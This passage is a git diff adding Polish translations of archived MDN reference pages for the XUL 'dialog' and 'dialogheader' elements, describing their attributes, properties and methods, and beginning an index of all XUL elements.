+</li><li> <code>extra1</code>: Opcjonalny przycisk dodatkowy. Można ustawić jego etykietę za pomocą atrybutu <code><code id="a-buttonlabelextra1"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/buttonlabelextra1">buttonlabelextra1</a></code></code>.
+</li><li> <code>extra2</code>: Drugi opcjonalny przycisk dodatkowy. Można ustawić jego etykietę za pomocą atrybutu <code><code id="a-buttonlabelextra2"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/buttonlabelextra2">buttonlabelextra2</a></code></code>.
+</li></ul>
+
+
+</div>
+<div id="a-defaultButton">
+
+<dl><dt> <code id="a-defaultButton"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/defaultButton">defaultButton</a></code>
+</dt><dd> Typ: <i>string</i>
+</dd><dd> Zwykle nie powinno się ustawiać tego atrybutu. Określa on domyślny przycisk w oknie dialogowym. Zazwyczaj oznacza to, że przycisk zostanie aktywowany po naciśnięciu klawisza Enter. Atrybutowi temu powinna być przypisana jedna z wartości używanych przez atrybut <code id="a-buttons"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/buttons">buttons</a></code>.
+</dd></dl>
+<p><br>
+</p>
+
+
+</div>
+<div id="a-ondialogaccept">
+
+<dl>
+ <dt>
+ <code id="a-ondialogaccept"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ondialogaccept">ondialogaccept</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ kod skryptu</i>
+ </dd>
+ <dd>
+ Kod w tym atrybucie jest wywołany po naciśnięciu przycisku akceptacji lub po wywołaniu metody <span id="m-acceptDialog"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/acceptDialog">acceptDialog</a></code></span>.</dd>
+</dl>
+</div>
+<div id="a-ondialogcancel">
+
+<dl>
+ <dt>
+ <code id="a-ondialogcancel"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ondialogcancel">ondialogcancel</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ kod skryptu</i>
+ </dd>
+ <dd>
+ Kod w tym atrybucie jest wywołany po naciśnięciu przycisku 'Anuluj' lub po wywołaniu metody <span id="m-cancelDialog"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/cancelDialog">cancelDialog</a></code></span>.</dd>
+</dl>
+</div>
+<div id="a-ondialogdisclosure">
+
+<dl>
+ <dt>
+ <code id="a-ondialogdisclosure"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ondialogdisclosure">ondialogdisclosure</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ Kod skryptu</i>
+ </dd>
+ <dd>
+ Kod w tym atrybucie jest wywołany po naciśnięciu przycisku ujawniającego (ang. disclosure).</dd>
+</dl>
+</div>
+<div id="a-ondialogextra1">
+
+<dl><dt> <code id="a-ondialogextra1"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ondialogextra1">ondialogextra1</a></code>
+</dt><dd> Typ: <i>kod skryptu</i>
+</dd><dd> Kod w tym atrybucie jest wywołany po naciśnięciu pierwszego przycisku dodatkowego.
+</dd></dl>
+<p><br>
+</p>
+
+
+</div>
+<div id="a-ondialogextra2">
+
+<dl><dt> <code id="a-ondialogextra2"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ondialogextra2">ondialogextra2</a></code>
+</dt><dd> Typ: <i>kod skryptu</i>
+</dd><dd> Kod w tym atrybucie jest wywołany po naciśnięciu drugiego przycisku dodatkowego.
+</dd></dl>
+<p><br>
+</p>
+
+
+</div>
+<div id="a-ondialoghelp">
+
+<dl>
+ <dt>
+ <code id="a-ondialoghelp"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ondialoghelp">ondialoghelp</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ kod skryptu</i>
+ </dd>
+ <dd>
+ Kod w tym atrybucie jest wywołany po naciśnięciu przycisku 'Pomoc'.</dd>
+</dl>
+</div>
+<div id="a-title">
+
+<dl><dt> <code id="a-title"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/title">title</a></code>
+</dt><dd> Typ: <i>string</i>
+</dd><dd> Tekst wyświetlony na pasku tytułu w oknie dialogowym.
+</dd></dl>
+<p><br>
+</p><p><br>
+</p>
+
+
+</div>
+<p></p>
+<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci"> Własności </h3>
+<p>
+</p><div id="p-buttons">
+<dl><dt> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/buttons">buttons</a></span></code>
+</dt><dd> Typ: <i>rozdzielona przecinkami lista poniższych wartości</i>
+</dd><dd> Rozdzielona przecinkami lista przycisków do wyświetlenia w okienku dialogowym. Przyciski zostaną umieszczone w odpowiednim miejscu w zależności od platformy systemowej użytkownika, a podstawowa obsługa zdarzeń zostanie wykonana automatycznie. Następujące wartości mogą zostać użyte w tej liście:
+</dd></dl>
+<ul><li> <code>accept</code>: Przycisk OK, który będzie akceptował zmiany po naciśnięciu. Ten przycisk będzie także przyciskiem domyślnym. </li><li> <code>cancel</code>: Przycisk Anuluj, który będzie anulował operację.
+</li><li> <code>help</code>: Przycisk Pomoc służący do wyświetlenia okienka pomocy.
+</li><li> <code>disclosure</code>: Przycisk pokazujący więcej informacji. Może być to przycisk lub trójkąt rozwijający.
+</li><li> <code>extra1</code>: Opcjonalny przycisk dodatkowy. Można ustawić jego etykietę za pomocą atrybutu <code><code id="a-buttonlabelextra1"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/buttonlabelextra1">buttonlabelextra1</a></code></code>.
+</li><li> <code>extra2</code>: Drugi opcjonalny przycisk dodatkowy. Można ustawić jego etykietę za pomocą atrybutu <code><code id="a-buttonlabelextra2"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/buttonlabelextra2">buttonlabelextra2</a></code></code>.
+</li></ul>
+<p><br>
+</p>
+
+</div>
+<div id="p-defaultButton">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/defaultButton">defaultButton</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ string</i>
+ </dd>
+ <dd>
+ Zwykle nie powinno się ustawiać tej własności. Określa ona domyślny przycisk w oknie dialogowym. Zazwyczaj oznacza to, że przycisk zostanie aktywowany po naciśnięciu klawisza Enter. Własności tej powinna być przypisana jedna z wartości używanych przez atrybut <code id="a-buttons"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/buttons">buttons</a></code>.</dd>
+</dl></div>
+<p></p>
+<h3 id="Metody" name="Metody"> Metody </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0 0 10px 10px; padding: 0 10px; background: rgb(238, 238, 238); float: right; width: 250px;">
+<tbody>
+<tr>
+<td>
+<p><strong>Dziedziczy z elementu XUL</strong><br>
+<small> <span id="m-blur"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/blur">blur</a></code></span>, <span id="m-click"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/click">click</a></code></span>, <span id="m-doCommand"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/doCommand">doCommand</a></code></span>, <span id="m-focus"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/focus">focus</a></code></span>, <span id="m-getElementsByAttribute"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getElementsByAttribute">getElementsByAttribute</a></code></span> <span id="m-getElementsByAttributeNS"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getElementsByAttributeNS">getElementsByAttributeNS</a></code></span></small></p> <p><strong>Dziedziczy z elementu DOM</strong><br>
+<small> <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.addEventListener">addEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.appendChild">appendChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.dispatchEvent">dispatchEvent()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttribute">getAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNode">getAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNodeNS">getAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNS">getAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagName">getElementsByTagName()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagNameNS">getElementsByTagNameNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttribute">hasAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributeNS">hasAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributes">hasAttributes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasChildNodes">hasChildNodes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.insertBefore">insertBefore()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.isSupported">isSupported()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.normalize">normalize()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttribute">removeAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNode">removeAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNS">removeAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeChild">removeChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeEventListener">removeEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.replaceChild">replaceChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttribute">setAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNode">setAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNodeNS">setAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNS">setAttributeNS()</a></code></small></p>
+
+</td>
+</tr>
+</tbody>
+</table>
+<dl>
+ <dt>
+ <span id="m-acceptDialog"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/acceptDialog">acceptDialog()</a></code></span></dt>
+ <dd>
+ Zwraca typ: <i>nie zwraca wartości</i></dd>
+ <dd>
+ Akceptuje okienko dialogowe i je zamyka, działa podobnie jak naciśnięcie przycisku <code>OK</code>.</dd>
+</dl>
+<dl><dt> <span id="m-cancelDialog"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/cancelDialog">cancelDialog()</a></code></span>
+</dt><dd> Zwraca typ: <i>nie zwraca wartości</i>
+</dd><dd> Anuluje okienko dialogowe i je zamyka, działa podobnie jak naciśnięcie przycisku &lt;tt&gt;Anuluj&lt;/tt&gt;.
+</dd></dl>
+<p><br>
+</p>
+<dl><dt> <span id="m-centerWindowOnScreen"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/centerWindowOnScreen">centerWindowOnScreen()</a></code></span>
+</dt><dd> Zwraca typ: <i>nie zwraca wartości</i>
+</dd><dd> Ustawia okienko dialogowe na środku ekranu.
+</dd></dl>
+<p><br>
+</p>
+<dl><dt> <span id="m-getButton"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getButton">getButton( typ )</a></code></span>
+</dt><dd> Zwraca typ: <i>element button</i>
+</dd><dd> Zwraca element <code><a href="/pl/docs/Mozilla/Tech/XUL/button" title="button">button</a></code> o zadanym typie, znajdujący się w okienku dialogowym.
+</dd></dl>
+<p><br>
+</p>
+<dl><dt> <span id="m-moveToAlertPosition"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/moveToAlertPosition">moveToAlertPosition()</a></code></span>
+</dt><dd> Zwraca typ: <i>nie zwraca wartości</i>
+</dd><dd> Przenosi okno dialogowe na pozycję właściwą dla okna z ostrzeżeniem, jednocześnie nadając mu rozmiar właściwy dla takiego okna.
+</dd></dl>
+<p><br>
+</p>
+<p></p>
+<h3 id="Podobne" name="Podobne"> Podobne </h3>
+<dl><dt> Elementy
+</dt><dd> <code><a href="/pl/docs/Mozilla/Tech/XUL/dialogheader" title="dialogheader">dialogheader</a></code>
+</dd></dl>
diff --git a/files/pl/mozilla/tech/xul/dialogheader/index.html b/files/pl/mozilla/tech/xul/dialogheader/index.html
new file mode 100644
index 0000000000..fe435ea1dc
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/dialogheader/index.html
@@ -0,0 +1,89 @@
+---
+title: dialogheader
+slug: Mozilla/Tech/XUL/dialogheader
+tags:
+ - Dokumentacja_XUL
+ - Elementy_XUL
+translation_of: Archive/Mozilla/XUL/dialogheader
+---
+<div class="noinclude"><span class="breadcrumbs XULRef_breadcrumbs">
+ « <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a> [
+ <a href="#Przyk.C5.82ady">Przykłady</a> |
+ <a href="#Atrybuty">Atrybuty</a> |
+ <a href="#W.C5.82asno.C5.9Bci">Własności</a> |
+ <a href="#Metody">Metody</a> |
+ <a href="#Podobne">Podobne</a> ]
+</span></div> <p>Wiersz nagłówka okna dialogowego. Element ten powinien być umieszczony wewnątrz elementu <code><a href="/pl/docs/Mozilla/Tech/XUL/dialog" title="dialog">dialog</a></code>. Nagłówek może posiadać tytuł i opis. </p>
+<dl><dt> Atrybuty
+</dt><dd> <a href="#a-crop">crop</a>, <a href="#a-description">description</a>, <a href="#a-title">title</a>
+</dd></dl>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3>
+<div class="float-right"><img alt="Image:XUL_ref_dialogheader.png"></div>
+<pre>&lt;?xml version="1.0"?&gt;
+&lt;?xml-stylesheet href="chrome://global/skin/global.css" type="text/css"?&gt;
+&lt;dialog id="donothing" title="Dialog example"
+ xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"&gt;
+
+ &lt;dialogheader title="My dialog" description="Example dialog"/&gt;
+ &lt;!-- Other widgets --&gt;
+
+&lt;/dialog&gt;
+</pre>
+<h3 id="Atrybuty" name="Atrybuty"> Atrybuty </h3>
+<p>
+</p><div id="a-crop">
+
+<dl><dt> <code id="a-crop"><a href="http://api/pl/docs/Mozilla/Tech/XUL/Atrybut/crop">crop</a></code>
+</dt><dd> Typ: <i>jedna z poniższych wartości</i>
+</dd><dd> Jeśli etykieta elementu jest zbyt duża by zmieścić się w danym miejscu, to jej tekst zostanie skrócony po stronie określonej przy pomocy atrybutu <code>crop</code>. Wycięty fragment tekstu zostanie zastąpiony wielokropkiem. Jeśli kierunek pudełka jest określony w lewą stronę, to skrócenie tekstu nastąpi w tym samym kierunku (czyli z lewej strony):
+</dd></dl>
+<ul><li> <code>start</code>: Tekst będzie skrócony z lewej strony.
+</li><li> <code>end</code>: Tekst będzie skrócony z prawej strony.
+</li><li> <code>left</code>: <span title="This deprecated API should no longer be used, but will probably still work."><i class="icon-thumbs-down-alt"> </i></span> Tekst będzie skrócony z lewej strony.
+</li><li> <code>right</code>: <span title="This deprecated API should no longer be used, but will probably still work."><i class="icon-thumbs-down-alt"> </i></span> Tekst będzie skrócony z prawej strony.
+</li><li> <code>center</code>: Tekst będzie skrócony w środku, pokazując oba końce: początek i koniec normalnego tekstu. </li><li> <code>none</code>: Tekst nie będzie skrócony przy zastosowaniu wielokropka. Jednakże, tekst skrócony zostanie po prostu obcięty, jeśli będzie za duży. Strona skrócenia owego tekstu zależy od rozmieszczenia tekstu określonego w arkuszu stylów CSS.
+</li></ul>
+<pre class="eval"> menupopup &gt; menuitem, menupopup &gt; menu { max-width: none; }
+</pre>
+<p><br>
+</p><p><br>
+</p>
+
+
+</div>
+<div id="a-description">
+
+<dl><dt> <code id="a-description"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/description">description</a></code>
+</dt><dd> Typ: <i>string</i>
+</dd><dd> Tekst opisowy do wyświetlenia w dodatku do tytułu okienka dialogowego.
+</dd></dl>
+<p><br>
+</p>
+
+
+</div>
+<div id="a-title">
+
+<dl><dt> <code id="a-title"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/title">title</a></code>
+</dt><dd> Typ: <i>string</i>
+</dd><dd> Tekst wyświetlony na pasku tytułu w oknie dialogowym.
+</dd></dl>
+<p><br>
+</p><p><br>
+</p>
+
+
+</div>
+<p></p>
+<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci"> Własności </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/align">align</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/allowEvents">allowEvents</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/boxObject">boxObject</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/builder">builder</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/className">className</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/collapsed">collapsed</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/contextMenu">contextMenu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/controllers">controllers</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/database">database</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/datasources">datasources</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/dir">dir</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/flex">flex</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/height">height</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/hidden">hidden</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/id">id</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/left">left</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxHeight">maxHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxWidth">maxWidth</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/menu">menu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minHeight">minHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minWidth">minWidth</a></span></code>, , , , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/observes">observes</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ordinal">ordinal</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/orient">orient</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/pack">pack</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/persist">persist</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ref">ref</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/resource">resource</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/statusText">statusText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/style">style</a></span></code>, ,, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltip">tooltip</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltipText">tooltipText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/top">top</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/width">width</a></span></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Metody" name="Metody"> Metody </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <span id="m-blur"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/blur">blur</a></code></span>, <span id="m-click"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/click">click</a></code></span>, <span id="m-doCommand"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/doCommand">doCommand</a></code></span>, <span id="m-focus"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/focus">focus</a></code></span>, <span id="m-getElementsByAttribute"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getElementsByAttribute">getElementsByAttribute</a></code></span></small></p> <p><strong>Dziedziczy z elementu DOM</strong><br> <small> <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.addEventListener">addEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.appendChild">appendChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.dispatchEvent">dispatchEvent()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttribute">getAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNode">getAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNodeNS">getAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNS">getAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagName">getElementsByTagName()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagNameNS">getElementsByTagNameNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttribute">hasAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributeNS">hasAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributes">hasAttributes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasChildNodes">hasChildNodes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.insertBefore">insertBefore()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.isSupported">isSupported()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.normalize">normalize()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttribute">removeAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNode">removeAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNS">removeAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeChild">removeChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeEventListener">removeEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.replaceChild">replaceChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttribute">setAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNode">setAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNodeNS">setAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNS">setAttributeNS()</a></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Podobne" name="Podobne"> Podobne </h3>
+<dl><dt> Elementy
+</dt><dd> <code><a href="/pl/docs/Mozilla/Tech/XUL/dialog" title="dialog">dialog</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/window" title="window">window</a></code>
+</dd></dl>
diff --git a/files/pl/mozilla/tech/xul/dokumentacja_xul/index.html b/files/pl/mozilla/tech/xul/dokumentacja_xul/index.html
new file mode 100644
index 0000000000..7b9bde470f
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/dokumentacja_xul/index.html
@@ -0,0 +1,166 @@
+---
+title: Dokumentacja XUL
+slug: Mozilla/Tech/XUL/Dokumentacja_XUL
+tags:
+ - Dokumentacja_XUL
+ - Wszystkie_kategorie
+ - XUL
+translation_of: Archive/Mozilla/XUL/XUL_Reference
+---
+<p>« <a href="/en-US/docs/XUL" title="en-US/XUL">XUL Reference</a> «
+</p>
+<table class="fullwidth-table">
+<tbody><tr>
+<th colspan="3">Wszystkie elementy XUL</th>
+</tr>
+<tr>
+<td>
+<p><a href="pl/XUL/action">action</a><br>
+<a href="pl/XUL/arrowscrollbox">arrowscrollbox</a><br>
+<a href="pl/XUL/assign">assign</a><br>
+<a href="pl/XUL/bbox">bbox</a><br>
+<a href="pl/XUL/binding">binding</a><br>
+<a href="pl/XUL/bindings">bindings</a><br>
+<a href="pl/XUL/box">box</a><br>
+<a href="pl/XUL/broadcaster">broadcaster</a><br>
+<a href="pl/XUL/broadcasterset">broadcasterset</a><br>
+<a href="pl/XUL/button">button</a><br>
+<a href="pl/XUL/browser">browser</a><br>
+<a href="pl/XUL/checkbox">checkbox</a><br>
+<a href="pl/XUL/caption">caption</a><br>
+<a href="pl/XUL/colorpicker">colorpicker</a><br>
+<a href="pl/XUL/column">column</a><br>
+<a href="pl/XUL/columns">columns</a><br>
+<a href="pl/XUL/commandset">commandset</a><br>
+<a href="pl/XUL/command">command</a><br>
+<a href="pl/XUL/conditions">conditions</a><br>
+<a href="pl/XUL/content">content</a><br>
+<a href="pl/XUL/datepicker">datepicker</a><br>
+<a href="pl/XUL/deck">deck</a><br>
+<a href="pl/XUL/description">description</a><br>
+<a href="pl/XUL/dialog">dialog</a><br>
+<a href="pl/XUL/dialogheader">dialogheader</a><br>
+<a href="pl/XUL/dropmarker">dropmarker</a><br>
+<a href="pl/XUL/editor">editor</a><br>
+<a href="pl/XUL/grid">grid</a><br>
+<a href="pl/XUL/grippy">grippy</a><br>
+<a href="pl/XUL/groupbox">groupbox</a><br>
+<a href="pl/XUL/hbox">hbox</a><br>
+<a href="pl/XUL/iframe">iframe</a><br>
+<a href="pl/XUL/image">image</a><br>
+<a href="pl/XUL/key">key</a><br>
+<a href="pl/XUL/keyset">keyset</a><br>
+<a href="pl/XUL/label">label</a><br>
+<a href="pl/XUL/listbox">listbox</a><br>
+<a href="pl/XUL/listcell">listcell</a><br>
+<a href="pl/XUL/listcol">listcol</a><br>
+<a href="pl/XUL/listcols">listcols</a><br>
+<a href="pl/XUL/listhead">listhead</a><br>
+<a href="pl/XUL/listheader">listheader</a><br>
+<a href="pl/XUL/listitem">listitem</a><br>
+</p>
+</td>
+<td>
+<p><a href="pl/XUL/member">member</a><br>
+<a href="pl/XUL/menu">menu</a><br>
+<a href="pl/XUL/menubar">menubar</a><br>
+<a href="pl/XUL/menuitem">menuitem</a><br>
+<a href="pl/XUL/menulist">menulist</a><br>
+<a href="pl/XUL/menupopup">menupopup</a><br>
+<a href="pl/XUL/menuseparator">menuseparator</a><br>
+<a href="pl/XUL/notification">notification</a><br>
+<a href="pl/XUL/notificationbox">notificationbox</a><br>
+<a href="pl/XUL/observes">observes</a><br>
+<a href="pl/XUL/overlay">overlay</a><br>
+<a href="pl/XUL/page">page</a><br>
+<a href="pl/XUL/panel">panel</a><br>
+<a href="pl/XUL/param">param</a><br>
+<a href="pl/XUL/popup">popup</a><br>
+<a href="pl/XUL/popupset">popupset</a><br>
+<a href="pl/XUL/preference">preference</a><br>
+<a href="pl/XUL/preferences">preferences</a><br>
+<a href="pl/XUL/prefpane">prefpane</a><br>
+<a href="pl/XUL/prefwindow">prefwindow</a><br>
+<a href="pl/XUL/progressmeter">progressmeter</a><br>
+<a href="pl/XUL/query">query</a><br>
+<a href="pl/XUL/queryset">queryset</a><br>
+<a href="pl/XUL/radio">radio</a><br>
+<a href="pl/XUL/radiogroup">radiogroup</a><br>
+<a href="pl/XUL/resizer">resizer</a><br>
+<a href="pl/XUL/richlistbox">richlistbox</a><br>
+<a href="pl/XUL/richlistitem">richlistitem</a><br>
+<a href="pl/XUL/row">row</a><br>
+<a href="pl/XUL/rows">rows</a><br>
+<a href="pl/XUL/rule">rule</a><br>
+<a href="pl/XUL/scale">scale</a><br>
+<a href="pl/XUL/script">script</a><br>
+<a href="pl/XUL/scrollbar">scrollbar</a><br>
+<a href="pl/XUL/scrollbox">scrollbox</a><br>
+<a href="pl/XUL/scrollcorner">scrollcorner</a><br>
